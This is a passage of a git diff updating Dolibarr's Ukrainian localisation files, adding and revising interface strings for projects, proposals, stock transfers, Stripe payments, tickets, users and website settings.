скопіюйте/вставте свої штрих-коди @@ -424,3 +425,7 @@ PMPExpected=Очікуваний PMP ExpectedValuation=Очікувана оцінка PMPReal=Справжній PMP RealValuation=Реальна оцінка +ConfirmEditExtrafield = Select the extrafield you want modify +ConfirmEditExtrafieldQuestion = Are you sure you want to modify this extrafield? +ModifyValueExtrafields = Modify value of an extrafield +OrProductsWithCategories=Or products with tags/categories diff --git a/htdocs/langs/uk_UA/projects.lang b/htdocs/langs/uk_UA/projects.lang index 9e3fcad8e1f..1f127ec2b10 100644 --- a/htdocs/langs/uk_UA/projects.lang +++ b/htdocs/langs/uk_UA/projects.lang @@ -23,6 +23,7 @@ TasksPublicDesc=У цьому поданні представлені всі п TasksDesc=У цьому поданні представлені всі проекти та завдання (ваші дозволи користувача надають вам дозвіл переглядати все). AllTaskVisibleButEditIfYouAreAssigned=Усі завдання для кваліфікованих проектів відображаються, але ви можете ввести час лише для завдання, призначеного вибраному користувачеві. Призначте завдання, якщо вам потрібно ввести на нього час. OnlyYourTaskAreVisible=Відображаються лише призначені вам завдання. Якщо вам потрібно ввести час виконання завдання, і якщо завдання тут не видно, то вам потрібно призначити завдання собі. +ImportDatasetProjects=Projects or opportunities ImportDatasetTasks=Завдання проектів ProjectCategories=Теги/категорії проекту NewProject=Новий проект @@ -37,7 +38,9 @@ OpportunitiesStatusForOpenedProjects=Веде кількість відкрит OpportunitiesStatusForProjects=Веде кількість проектів за статусом ShowProject=Показати проект ShowTask=Показати завдання +SetThirdParty=Set third party SetProject=Встановити проект +OutOfProject=Out of project NoProject=Жодного проекту не визначено чи належить NbOfProjects=Кількість проектів NbOfTasks=Кількість завдань @@ -122,7 +125,8 @@ ValidateProject=Перевірити проект ConfirmValidateProject=Ви впевнені, що хочете підтвердити цей проект? CloseAProject=Закрити проект ConfirmCloseAProject=Ви впевнені, що хочете закрити цей проект? -AlsoCloseAProject=Також закрийте проект (залиште його відкритим, якщо вам все ще потрібно виконувати виробничі завдання в ньому) +AlsoCloseAProject=Also close project +AlsoCloseAProjectTooltip=Keep it open if you still need to follow production tasks on it ReOpenAProject=Відкритий проект ConfirmReOpenAProject=Ви впевнені, що хочете знову відкрити цей проект? ProjectContact=Контакти проекту @@ -165,7 +169,7 @@ OpportunityProbability=Імовірність свинцю OpportunityProbabilityShort=Ймовірно привести. OpportunityAmount=Кількість свинцю OpportunityAmountShort=Кількість свинцю -OpportunityWeightedAmount=Зважена сума можливостей +OpportunityWeightedAmount=Amount of opportunity, weighted by probability OpportunityWeightedAmountShort=Opp. зважена сума OpportunityAmountAverageShort=Середня кількість свинцю OpportunityAmountWeigthedShort=Зважена кількість свинцю @@ -238,7 +242,7 @@ OppStatusPENDING=В очікуванні OppStatusWON=Виграв OppStatusLOST=Загублено Budget=Бюджет -AllowToLinkFromOtherCompany=Дозволити зв'язувати проект з іншої компанії

      Підтримувані значення:
      - Залишити порожнім: можна зв'язати будь-який проект компанії, навіть можна зв'язати будь-який проект компанії, навіть можна зв'язати будь-який проект компанії, -за умовчанням список проектів компанії: сторонні ідентифікатори, розділені комами: можна пов’язувати всі проекти цих сторонніх розробників (приклад: 123,4795,53)
      +AllowToLinkFromOtherCompany=Allow to link an element with a project of other company

      Supported values:
      - Keep empty: Can link elements with any projects in the same company (default)
      - "all": Can link elements with any projects, even projects of other companies
      - A list of third-party ids separated by commas: can link elements with any projects of these third partys (Example: 123,4795,53)
      LatestProjects=Останні проекти %s LatestModifiedProjects=Останні модифіковані проекти %s OtherFilteredTasks=Інші відфільтровані завдання @@ -282,7 +286,7 @@ ProfitIsCalculatedWith=Прибуток розраховується за доп AddPersonToTask=Додайте також до завдань UsageOrganizeEvent=Використання: Організація подій PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=Класифікувати проект як закритий, коли всі його завдання виконані (100%% прогрес) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Примітка: існуючі проекти з усіма завданнями на 100%% прогрес це не вплине: вам доведеться закрити їх вручну. Цей параметр стосується лише відкритих проектів. +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Note: existing projects with all tasks already set to a progress of 100 %% won't be affected: you will have to close them manually. This option only affects open projects. SelectLinesOfTimeSpentToInvoice=Виберіть рядки витраченого часу, які не виставляються, а потім групову дію "Створити рахунок-фактуру", щоб виставити рахунок ProjectTasksWithoutTimeSpent=Проектні завдання без витрат часу FormForNewLeadDesc=Дякуємо, заповнивши наступну форму, щоб зв’язатися з нами. Ви також можете надіслати нам електронний лист безпосередньо на адресу %s . diff --git a/htdocs/langs/uk_UA/propal.lang b/htdocs/langs/uk_UA/propal.lang index 5b061dbff09..dd90644a1c4 100644 --- a/htdocs/langs/uk_UA/propal.lang +++ b/htdocs/langs/uk_UA/propal.lang @@ -65,49 +65,54 @@ AvailabilityPeriod=Затримка доступності SetAvailability=Установити затримку доступності AfterOrder=після замовлення OtherProposals=Інші пропозиції + ##### Availability ##### AvailabilityTypeAV_NOW=Негайно AvailabilityTypeAV_1W=1 тиждень AvailabilityTypeAV_2W=2 тижні AvailabilityTypeAV_3W=3 тижні AvailabilityTypeAV_1M=1 місяць -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=Представницька подальша пропозиція TypeContact_propal_external_BILLING=Зв'язок з рахунками-фактурою клієнта TypeContact_propal_external_CUSTOMER=Наступна пропозиція щодо контакту з клієнтом TypeContact_propal_external_SHIPPING=Контакт з клієнтом для доставки + # Document models -DocModelAzurDescription=Повна модель пропозиції (стара реалізація шаблону Cyan) -DocModelCyanDescription=Повна модель пропозиції -DefaultModelPropalCreate=Створення моделі за замовчуванням -DefaultModelPropalToBill=Шаблон за замовчуванням під час закриття бізнес-пропозиції (виставляється рахунок-фактура) -DefaultModelPropalClosed=Шаблон за умовчанням під час закриття бізнес-пропозиції (не оплачується) -ProposalCustomerSignature=Письмове прийняття, печатка компанії, дата та підпис -ProposalsStatisticsSuppliers=Статистика пропозицій постачальників -CaseFollowedBy=Слідом за випадком -SignedOnly=Тільки підписано -NoSign=Набір не підписаний -NoSigned=набір не підписаний CantBeNoSign=не можна встановити без підпису +CaseFollowedBy=Слідом за випадком ConfirmMassNoSignature=Масове Непідписане підтвердження ConfirmMassNoSignatureQuestion=Ви впевнені, що хочете встановити непідписані вибрані записи? -IsNotADraft=не є чернеткою -PassedInOpenStatus=було підтверджено -Sign=Підписати -Signed=підписаний -ConfirmMassValidation=Підтвердження масової перевірки ConfirmMassSignature=Масове підтвердження підпису -ConfirmMassValidationQuestion=Ви впевнені, що хочете перевірити вибрані записи? ConfirmMassSignatureQuestion=Ви впевнені, що хочете підписати вибрані записи? -IdProposal=Ідентифікатор пропозиції +ConfirmMassValidation=Підтвердження масової перевірки +ConfirmMassValidationQuestion=Ви впевнені, що хочете перевірити вибрані записи? +ConfirmRefusePropal=Ви впевнені, що хочете відмовитися від цієї комерційної пропозиції? +ContractSigned=Contract signed +DefaultModelPropalClosed=Шаблон за умовчанням під час закриття бізнес-пропозиції (не оплачується) +DefaultModelPropalCreate=Створення моделі за замовчуванням +DefaultModelPropalToBill=Шаблон за замовчуванням під час закриття бізнес-пропозиції (виставляється рахунок-фактура) +DocModelAzurDescription=Повна модель пропозиції (стара реалізація шаблону Cyan) +DocModelCyanDescription=Повна модель пропозиції +FichinterSigned=Intervention signed IdProduct=Ідентифікатор продукту +IdProposal=Ідентифікатор пропозиції +IsNotADraft=не є чернеткою LineBuyPriceHT=Купити Ціна Сума без податку за лінію -SignPropal=Прийняти пропозицію +NoSign=Refuse +NoSigned=набір не підписаний +PassedInOpenStatus=було підтверджено +PropalAlreadyRefused=Пропозиція вже відхилена +PropalAlreadySigned=Пропозиція вже прийнята +PropalRefused=Пропозиція відхилена +PropalSigned=Пропозиція прийнята +ProposalCustomerSignature=Письмове прийняття, печатка компанії, дата та підпис +ProposalsStatisticsSuppliers=Статистика пропозицій постачальників RefusePropal=Відмовитися від пропозиції Sign=Підписати -NoSign=Набір не підписаний -PropalAlreadySigned=Пропозиція вже прийнята -PropalAlreadyRefused=Пропозиція вже відхилена -PropalSigned=Пропозиція прийнята -PropalRefused=Пропозиція відхилена -ConfirmRefusePropal=Ви впевнені, що хочете відмовитися від цієї комерційної пропозиції? +SignContract=Sign contract +SignFichinter=Sign intervention +SignPropal=Прийняти пропозицію +Signed=підписаний +SignedOnly=Тільки підписано diff --git a/htdocs/langs/uk_UA/recruitment.lang b/htdocs/langs/uk_UA/recruitment.lang index ed7879faf7e..d60521d4f15 100644 --- a/htdocs/langs/uk_UA/recruitment.lang +++ b/htdocs/langs/uk_UA/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=Електронний рекрутер ToUseAGenericEmail=Щоб використовувати загальну електронну адресу. Якщо не визначено, використовуватиметься електронна адреса відповідального за підбір персоналу NewCandidature=Нова програма ListOfCandidatures=Список додатків -RequestedRemuneration=Запитувана винагорода -ProposedRemuneration=Пропонована винагорода +Remuneration=Salary +RequestedRemuneration=Requested salary +ProposedRemuneration=Proposed salary ContractProposed=Запропоновано договір ContractSigned=Договір підписаний ContractRefused=Контракт відмовлено RecruitmentCandidature=Застосування JobPositions=Посади RecruitmentCandidatures=Додатки -InterviewToDo=Інтерв’ю зробити +InterviewToDo=Contacts to follow AnswerCandidature=Відповідь на заявку YourCandidature=Ваша заявка YourCandidatureAnswerMessage=Дякую за вашу заявку.
      ... diff --git a/htdocs/langs/uk_UA/salaries.lang b/htdocs/langs/uk_UA/salaries.lang index 34ec2d0266d..b865205d031 100644 --- a/htdocs/langs/uk_UA/salaries.lang +++ b/htdocs/langs/uk_UA/salaries.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Обліковий запис, що використовується для третіх осіб користувача -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=Спеціальний обліковий рахунок, визначений на картці користувача, використовуватиметься лише для обліку Subledger. Це буде використовуватися для Головної книги та як значення за замовчуванням для обліку підкниги, якщо для користувача не визначено спеціальний обліковий запис користувача. +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Account (from the Chart of Account) used by default for "user" third parties +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Бухгалтерський рахунок за замовчуванням для виплати заробітної плати CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=За замовчуванням залиште порожнім параметр «Автоматично створювати загальний платіж» під час створення зарплати Salary=Заробітна плата diff --git a/htdocs/langs/uk_UA/stocks.lang b/htdocs/langs/uk_UA/stocks.lang index 6160f5c7e77..e89b866ced0 100644 --- a/htdocs/langs/uk_UA/stocks.lang +++ b/htdocs/langs/uk_UA/stocks.lang @@ -24,6 +24,7 @@ StockAtDateInFuture=Дата в майбутньому StocksByLotSerial=Акції за лотами/серійними LotSerial=Лоти/Серіали LotSerialList=Список лотів/серіалів +SubjectToLotSerialOnly=Products subject to lot/serial only Movements=Рухи ErrorWarehouseRefRequired=Потрібна довідкова назва складу ListOfWarehouses=Список складів @@ -48,7 +49,7 @@ StockCorrection=Корекція запасу CorrectStock=Правильний запас StockTransfer=Передача запасів TransferStock=Передача запасів -MassStockTransferShort=Перенесення маси запасів +MassStockTransferShort=Bulk stock change StockMovement=Рух запасів StockMovements=Рухи запасів NumberOfUnit=Кількість одиниць @@ -146,8 +147,9 @@ Replenishments=Поповнення NbOfProductBeforePeriod=Кількість товару %s в наявності до вибраного періоду (< %s) NbOfProductAfterPeriod=Кількість продукту %s на складі після вибраного періоду (> %s) MassMovement=Масовий рух -SelectProductInAndOutWareHouse=Виберіть вихідний склад і цільовий склад, продукт і кількість, а потім натисніть «%s». Після того, як це буде зроблено для всіх необхідних рухів, натисніть «%s». +SelectProductInAndOutWareHouse=Select a source warehouse (optional), a target warehouse, a product and a quantity then click "%s". Once this is done for all required movements, click on "%s". RecordMovement=Передача запису +RecordMovements=Record stock movements ReceivingForSameOrder=Квитанції на це замовлення StockMovementRecorded=Зафіксовано рух запасів RuleForStockAvailability=Правила вимог до запасів @@ -234,7 +236,7 @@ StockIncrease=Збільшення запасів StockDecrease=Зниження запасів InventoryForASpecificWarehouse=Інвентар для конкретного складу InventoryForASpecificProduct=Інвентаризація для конкретного товару -StockIsRequiredToChooseWhichLotToUse=Запас необхідний, щоб вибрати, який лот використовувати +StockIsRequiredToChooseWhichLotToUse=An existing stock is required to be able to choose which lot to use ForceTo=Змусити до AlwaysShowFullArbo=Відображати повне дерево складу у спливаючому вікні посилань на склад (Попередження: це може значно знизити продуктивність) StockAtDatePastDesc=Тут можна переглянути запаси (реальні запаси) на певну дату в минулому @@ -265,10 +267,53 @@ ProductBarcodeDoesNotExist=Товар зі штрих-кодом не існує WarehouseId=Ідентифікатор складу WarehouseRef=Склад Реф SaveQtyFirst=Спочатку збережіть реальні інвентаризовані кількості, перш ніж запитувати створення руху запасів. +ToStart=Start InventoryStartedShort=Розпочатий ErrorOnElementsInventory=Операцію скасовано з таких причин: ErrorCantFindCodeInInventory=Не вдається знайти наступний код в інвентарі QtyWasAddedToTheScannedBarcode=Успіху!! Кількість додано до всіх запитаних штрих-кодів. Ви можете закрити інструмент Scanner. -StockChangeDisabled=Зміна на складі вимкнена +StockChangeDisabled=Stock change disabled NoWarehouseDefinedForTerminal=Для терміналу не визначено склад ClearQtys=Очистити всі кількості +ModuleStockTransferName=Advanced Stock Transfer +ModuleStockTransferDesc=Advanced management of Stock Transfer, with generation of transfer sheet +StockTransferNew=New stock transfer +StockTransferList=Stock transfers list +ConfirmValidateStockTransfer=Are you sure you want to validate this stocks transfer with reference %s ? +ConfirmDestock=Decrease of stocks with transfer %s +ConfirmDestockCancel=Cancel decrease of stocks with transfer %s +DestockAllProduct=Decrease of stocks +DestockAllProductCancel=Cancel decrease of stocks +ConfirmAddStock=Increase stocks with transfer %s +ConfirmAddStockCancel=Cancel increase of stocks with transfer %s +AddStockAllProduct=Increase of stocks +AddStockAllProductCancel=Cancel increase of stocks +DatePrevueDepart=Intended date of departure +DateReelleDepart=Real date of departure +DatePrevueArrivee=Intended date of arrival +DateReelleArrivee=Real date of arrival +HelpWarehouseStockTransferSource=If this warehouse is set, only itself and its children will be available as source warehouse +HelpWarehouseStockTransferDestination=If this warehouse is set, only itself and its children will be available as destination warehouse +LeadTimeForWarning=Lead time before alert (in days) +TypeContact_stocktransfer_internal_STFROM=Sender of stocks transfer +TypeContact_stocktransfer_internal_STDEST=Recipient of stocks transfer +TypeContact_stocktransfer_internal_STRESP=Responsible of stocks transfer +StockTransferSheet=Stocks transfer sheet +StockTransferSheetProforma=Proforma stocks transfer sheet +StockTransferDecrementation=Decrease source warehouses +StockTransferIncrementation=Increase destination warehouses +StockTransferDecrementationCancel=Cancel decrease of source warehouses +StockTransferIncrementationCancel=Cancel increase of destination warehouses +StockStransferDecremented=Source warehouses decreased +StockStransferDecrementedCancel=Decrease of source warehouses canceled +StockStransferIncremented=Closed - Stocks transfered +StockStransferIncrementedShort=Stocks transfered +StockStransferIncrementedShortCancel=Increase of destination warehouses canceled +StockTransferNoBatchForProduct=Product %s doesn't use batch, clear batch on line and retry +StockTransferSetup = Stocks Transfer module configuration +Settings=Налаштування +StockTransferSetupPage = Configuration page for stocks transfer module +StockTransferRightRead=Read stocks transfers +StockTransferRightCreateUpdate=Create/Update stocks transfers +StockTransferRightDelete=Delete stocks transfers +BatchNotFound=Lot / serial not found for this product diff --git a/htdocs/langs/uk_UA/stripe.lang b/htdocs/langs/uk_UA/stripe.lang index a8f9176d83a..8d79eb35634 100644 --- a/htdocs/langs/uk_UA/stripe.lang +++ b/htdocs/langs/uk_UA/stripe.lang @@ -41,7 +41,8 @@ STRIPE_LIVE_WEBHOOK_KEY=Живий ключ Webhook ONLINE_PAYMENT_WAREHOUSE=Запас, який буде використовуватися для зменшення запасу, коли здійснюється онлайн-оплата
      (TODO Коли опція зменшення запасу виконується за дією на рахунку-фактурі, а онлайн-платеж сам створює рахунок?) StripeLiveEnabled=Stripe live увімкнено (інакше тестовий режим/режим пісочниці) StripeImportPayment=Імпортні платежі Stripe -ExampleOfTestCreditCard=Приклад кредитної картки для тесту: %s => дійсний, %s => помилка CVC, %s => термін дії закінчився, %s => платіж не виконується +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +ExampleOfTestBankAcountForSEPA=Example of bank account BAN for direct debit test: %s StripeGateways=Смугові шлюзи OAUTH_STRIPE_TEST_ID=Ідентифікатор клієнта Stripe Connect (ca_...) OAUTH_STRIPE_LIVE_ID=Ідентифікатор клієнта Stripe Connect (ca_...) @@ -61,6 +62,7 @@ DeleteACard=Видалити картку ConfirmDeleteCard=Ви впевнені, що хочете видалити цю кредитну або дебетову картку? CreateCustomerOnStripe=Створіть клієнта на Stripe CreateCardOnStripe=Створіть картку на Stripe +CreateBANOnStripe=Create bank on Stripe ShowInStripe=Показати в Stripe StripeUserAccountForActions=Обліковий запис користувача для сповіщень електронною поштою про деякі події Stripe (виплати Stripe) StripePayoutList=Список виплат Stripe @@ -69,3 +71,8 @@ ToOfferALinkForLiveWebhook=Посилання на налаштування Stri PaymentWillBeRecordedForNextPeriod=Оплата буде зафіксована на наступний період. ClickHereToTryAgain= Натисніть тут, щоб спробувати ще раз... CreationOfPaymentModeMustBeDoneFromStripeInterface=У зв’язку зі строгими правилами автентифікації клієнтів створення картки має здійснюватися з бек-офісу Stripe. Ви можете натиснути тут, щоб увімкнути запис клієнта Stripe: %s +STRIPE_CARD_PRESENT=Card Present for Stripe Terminals +TERMINAL_LOCATION=Location (address) for Stripe Terminals +RequestDirectDebitWithStripe=Request Direct Debit with Stripe +STRIPE_SEPA_DIRECT_DEBIT=Enable the Direct Debit payments through Stripe + diff --git a/htdocs/langs/uk_UA/ticket.lang b/htdocs/langs/uk_UA/ticket.lang index ecdc9a40bd5..b982337fb6c 100644 --- a/htdocs/langs/uk_UA/ticket.lang +++ b/htdocs/langs/uk_UA/ticket.lang @@ -26,7 +26,9 @@ Permission56002=Редагувати заявки Permission56003=Видалити заявки Permission56004=Управління заявками Permission56005=Перегляньте заявки всіх контрагентів (не діє для зовнішніх користувачів, завжди обмежуйтеся третьою стороною, від якої вони залежать) +Permission56006=Export tickets +Tickets=Заявки TicketDictType=Заявка - Типи TicketDictCategory=Заявка - Групи TicketDictSeverity=Заявка - серйозності @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=Зовнішній учасник OriginEmail=Електронна пошта репортера Notify_TICKET_SENTBYMAIL=Надішліть повідомлення про квиток електронною поштою +ExportDataset_ticket_1=Заявки + # Status Read=Прочитані Assigned=Призначений @@ -149,6 +153,8 @@ TicketsAutoNotifyCloseHelp=При закритті квитка вам буде TicketWrongContact=Наданий контакт не є частиною поточних контактів для квитка. Електронна пошта не надіслана. TicketChooseProductCategory=Категорія продуктів для підтримки квитків TicketChooseProductCategoryHelp=Виберіть категорію продукту підтримки квитків. Це буде використано для автоматичного зв’язування контракту з квитком. +TicketUseCaptchaCode=Use graphical code (CAPTCHA) when creating a ticket +TicketUseCaptchaCodeHelp=Adds CAPTCHA verification when creating a new ticket. # # Index & list page @@ -180,7 +186,7 @@ CreatedBy=Створено NewTicket=Новий квиток SubjectAnswerToTicket=Відповідь на квиток TicketTypeRequest=Тип запиту -TicketCategory=Категоризація квитків +TicketCategory=Ticket group SeeTicket=Дивіться квиток TicketMarkedAsRead=Квиток позначено як прочитаний TicketReadOn=Читайте далі @@ -192,8 +198,7 @@ TicketAssigned=Квиток призначено TicketChangeType=Змінити тип TicketChangeCategory=Змінити аналітичний код TicketChangeSeverity=Зміна тяжкості -TicketAddMessage=Додайте повідомлення -AddMessage=Додайте повідомлення +TicketAddMessage=Add private message MessageSuccessfullyAdded=Квиток додано TicketMessageSuccessfullyAdded=Повідомлення успішно додано TicketMessagesList=Список повідомлень @@ -204,8 +209,8 @@ TicketSeverity=Тяжкість ShowTicket=Дивіться квиток RelatedTickets=Пов'язані квитки TicketAddIntervention=Створіть втручання -CloseTicket=Закрити|Вирішити квиток -AbandonTicket=Відмовитися від квитка +CloseTicket=Close|Solve +AbandonTicket=Abandon CloseATicket=Закрити|Розгадати квиток ConfirmCloseAticket=Підтвердьте закриття квитка ConfirmAbandonTicket=Чи підтверджуєте ви закриття квитка до статусу «Закинутий» @@ -219,18 +224,17 @@ SendMessageByEmail=Надіслати повідомлення електрон TicketNewMessage=Нове повідомлення ErrorMailRecipientIsEmptyForSendTicketMessage=Одержувач порожній. Немає надсилання електронної пошти TicketGoIntoContactTab=Будь ласка, перейдіть на вкладку «Контакти», щоб вибрати їх -TicketMessageMailIntro=Вступ +TicketMessageMailIntro=Message header TicketMessageMailIntroHelp=Цей текст додається лише на початку листа і не буде збережено. -TicketMessageMailIntroLabelAdmin=Вступний текст до всіх відповідей на заявки TicketMessageMailIntroText=Привіт,
      Нова відповідь була додана до заявки, на яку ви підписалися. Ось повідомлення:
      TicketMessageMailIntroHelpAdmin=Цей текст буде вставлено перед відповіддю під час відповіді на заявку від Dolibarr -TicketMessageMailSignature=Підпис -TicketMessageMailSignatureHelp=Цей текст додається лише в кінці листа і не буде збережено. -TicketMessageMailSignatureText=Повідомлення надіслав %s через Dolibarr -TicketMessageMailSignatureLabelAdmin=Підпис електронного листа з відповіддю -TicketMessageMailSignatureHelpAdmin=Цей текст буде вставлено після повідомлення-відповіді. +TicketMessageMailFooter=Message footer +TicketMessageMailFooterHelp=This text is added only at the end of the message sent by email and will not be saved. +TicketMessageMailFooterText=Message sent by %s via Dolibarr +TicketMessageMailFooterHelpAdmin=This text will be inserted after the response message. TicketMessageHelp=Тільки цей текст буде збережено в списку повідомлень на картці квитка. TicketMessageSubstitutionReplacedByGenericValues=Змінні підстановки замінюються загальними значеннями. +ForEmailMessageWillBeCompletedWith=For email messages sent to external users, the message will be completed with TimeElapsedSince=З того часу минув час TicketTimeToRead=Минув час до прочитання TicketTimeElapsedBeforeSince=Час, що минув до / після @@ -241,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=На квитку було розмі TicketAssignedToYou=Квиток призначено TicketAssignedEmailBody=Вам призначено квиток #%s від %s MarkMessageAsPrivate=Позначити повідомлення як приватне +TicketMessageSendEmailHelp=An email will be sent to all assigned contact (internal contacts, but also external contacts except if the option "%s" is checked) TicketMessagePrivateHelp=Це повідомлення не відображатиметься зовнішнім користувачам TicketEmailOriginIssuer=Емітент при відправленні квитків InitialMessage=Початкове повідомлення @@ -296,7 +301,7 @@ TicketNewEmailBodyInfosTrackUrlCustomer=Ви можете переглянути TicketCloseEmailBodyInfosTrackUrlCustomer=Ви можете ознайомитися з історією цього квитка, натиснувши наступне посилання TicketEmailPleaseDoNotReplyToThisEmail=Будь ласка, не відповідайте безпосередньо на цей електронний лист! Використовуйте посилання, щоб відповісти в інтерфейсі. TicketPublicInfoCreateTicket=Ця форма дозволяє записати заявку на підтримку в нашій системі управління. -TicketPublicPleaseBeAccuratelyDescribe=Будь ласка, точно опишіть проблему. Надайте якомога більше інформації, щоб ми могли правильно ідентифікувати ваш запит. +TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe your question. Provide the most information possible to allow us to correctly identify your request. TicketPublicMsgViewLogIn=Будь ласка, введіть ідентифікатор відстеження квитка TicketTrackId=Загальнодоступний ідентифікатор відстеження OneOfTicketTrackId=Один із ваших ідентифікаторів відстеження diff --git a/htdocs/langs/uk_UA/users.lang b/htdocs/langs/uk_UA/users.lang index 1557098d9fa..d5db35b5ae2 100644 --- a/htdocs/langs/uk_UA/users.lang +++ b/htdocs/langs/uk_UA/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Видалити з групи PasswordChangedAndSentTo=Пароль змінено та надіслано на адресу %s . PasswordChangeRequest=Запит на зміну пароля для %s PasswordChangeRequestSent=Запит на зміну пароля для %s надіслано на адресу %s a09a4b739f17f17. -IfLoginExistPasswordRequestSent=Якщо цей логін є дійсним обліковим записом, було надіслано електронний лист для відновлення пароля. +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=Якщо цей електронний лист є дійсним обліковим записом, було надіслано лист для відновлення пароля. ConfirmPasswordReset=Підтвердьте скидання пароля MenuUsersAndGroups=Користувачі та групи @@ -66,9 +66,9 @@ LinkedToDolibarrUser=Посилання на користувача LinkedToDolibarrThirdParty=Посилання на третю сторону CreateDolibarrLogin=Створити користувача CreateDolibarrThirdParty=Створіть третю сторону -LoginAccountDisableInDolibarr=Обліковий запис вимкнено в Dolibarr. +LoginAccountDisableInDolibarr=Account disabled in Dolibarr +PASSWORDInDolibarr=Password modified in Dolibarr UsePersonalValue=Використовуйте особисту цінність -InternalUser=Внутрішній користувач ExportDataset_user_1=Користувачі та їх властивості DomainUser=Користувач домену %s Reactivate=Повторно активувати @@ -128,3 +128,8 @@ DateLastLogin=Дата останнього входу DatePreviousLogin=Дата попереднього входу IPLastLogin=IP останній вхід IPPreviousLogin=IP попередній вхід +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Enable the public virtual user card +PublicVirtualCardUrl=Public virtual user card diff --git a/htdocs/langs/uk_UA/website.lang b/htdocs/langs/uk_UA/website.lang index a09e3a09cc0..3bb25746a89 100644 --- a/htdocs/langs/uk_UA/website.lang +++ b/htdocs/langs/uk_UA/website.lang @@ -1,5 +1,6 @@ # Dolibarr language file - Source file is en_US - website Shortname=код +WebsiteName=Name of the website WebsiteSetupDesc=Створіть тут веб-сайти, які ви хочете використовувати. Потім перейдіть до меню Веб-сайти, щоб відредагувати їх. DeleteWebsite=Видалити веб-сайт ConfirmDeleteWebsite=Ви впевнені, що хочете видалити цей веб-сайт? Усі його сторінки та вміст також буде видалено. Завантажені файли (наприклад, у каталог медіа, модуль ECM, ...) залишаться. @@ -15,9 +16,9 @@ WEBSITE_HTML_HEADER=Додавання внизу заголовка HTML (за WEBSITE_ROBOT=Файл робота (robots.txt) WEBSITE_HTACCESS=Файл веб-сайту .htaccess WEBSITE_MANIFEST_JSON=Файл manifest.json веб-сайту -WEBSITE_README=Файл README.md WEBSITE_KEYWORDSDesc=Використовуйте кому для розділення значень -EnterHereLicenseInformation=Введіть тут метадані або інформацію про ліцензію, щоб заповнити файл README.md. якщо ви розповсюджуєте свій веб-сайт як шаблон, файл буде включено до пакета Temptate. +EnterHereReadmeInformation=Enter here a description of the website. If you distribute your website as a template, the file will be included into the temptate package. +EnterHereLicenseInformation=Enter here the LICENSE of the code of the website. If you distribute your website as a template, the file will be included into the temptate package. HtmlHeaderPage=HTML-заголовок (лише для цієї сторінки) PageNameAliasHelp=Ім'я або псевдонім сторінки.
      Цей псевдонім також використовується для підробки URL-адреси SEO, коли веб-сайт запускається з віртуального хоста веб-сервера (наприклад, Apacke, Nginx, ...). Скористайтеся кнопкою « %s », щоб відредагувати цей псевдонім. EditTheWebSiteForACommonHeader=Примітка. Якщо ви хочете визначити персоналізований заголовок для всіх сторінок, відредагуйте заголовок на рівні сайту, а не на сторінці/контейнері. @@ -42,6 +43,8 @@ ViewPageInNewTab=Переглянути сторінку в новій вкла SetAsHomePage=Встановити як домашню сторінку RealURL=Справжня URL-адреса ViewWebsiteInProduction=Перегляд веб-сайту за допомогою домашньої URL-адреси +Virtualhost=Virtual host or domain name +VirtualhostDesc=The name of the Virtual host or domain (For example: www.mywebsite.com, mybigcompany.net, ...) SetHereVirtualHost= Використовуйте з Apache/NGinx/...
      Створіть на своєму веб-сервері (Apache, Nginx, ...) виділений віртуальний хост з увімкненим та кореневим каталогом на a0342fccfda06c7b0f043fccfda07c07f0b0fccfda07c0b0f06f77c0b0f06f77c0b0f06f77c0f06f77c0b0f06cf7c0b ExampleToUseInApacheVirtualHostConfig=Приклад для використання в налаштуваннях віртуального хоста Apache: YouCanAlsoTestWithPHPS= Use with PHP embedded server
      On develop environment, you may prefer to test the site with the PHP embedded web server (PHP 5.5 required) by running
      php -S 0.0.0.0:8080 -t %s @@ -137,7 +140,7 @@ PagesRegenerated=%s сторінок/контейнерів відновлено RegenerateWebsiteContent=Відновіть файли кешу веб-сайту AllowedInFrames=Дозволено в кадрах DefineListOfAltLanguagesInWebsiteProperties=Визначте список усіх доступних мов у властивостях веб-сайту. -GenerateSitemaps=Створення файлу карти сайту +GenerateSitemaps=Generate website sitemap.xml file ConfirmGenerateSitemaps=Якщо ви підтвердите, ви видалите наявний файл карти сайту... ConfirmSitemapsCreation=Підтвердьте створення карти сайту SitemapGenerated=Створено файл карти сайту %s @@ -145,3 +148,10 @@ ImportFavicon=Фавікон ErrorFaviconType=Значок фавікона має бути png ErrorFaviconSize=Favicon має бути розміром 16x16, 32x32 або 64x64 FaviconTooltip=Завантажте зображення, яке має бути у форматі png (16x16, 32x32 або 64x64) +NextContainer=Next page/container +PreviousContainer=Previous page/container +WebsiteMustBeDisabled=The website must have the status "%s" +WebpageMustBeDisabled=The web page must have the status "%s" +SetWebsiteOnlineBefore=When website is offline, all pages are offline. Change status of website first. +Booking=Booking +Reservation=Reservation diff --git a/htdocs/langs/uk_UA/withdrawals.lang b/htdocs/langs/uk_UA/withdrawals.lang index 0cd26dde3da..0048332a4fd 100644 --- a/htdocs/langs/uk_UA/withdrawals.lang +++ 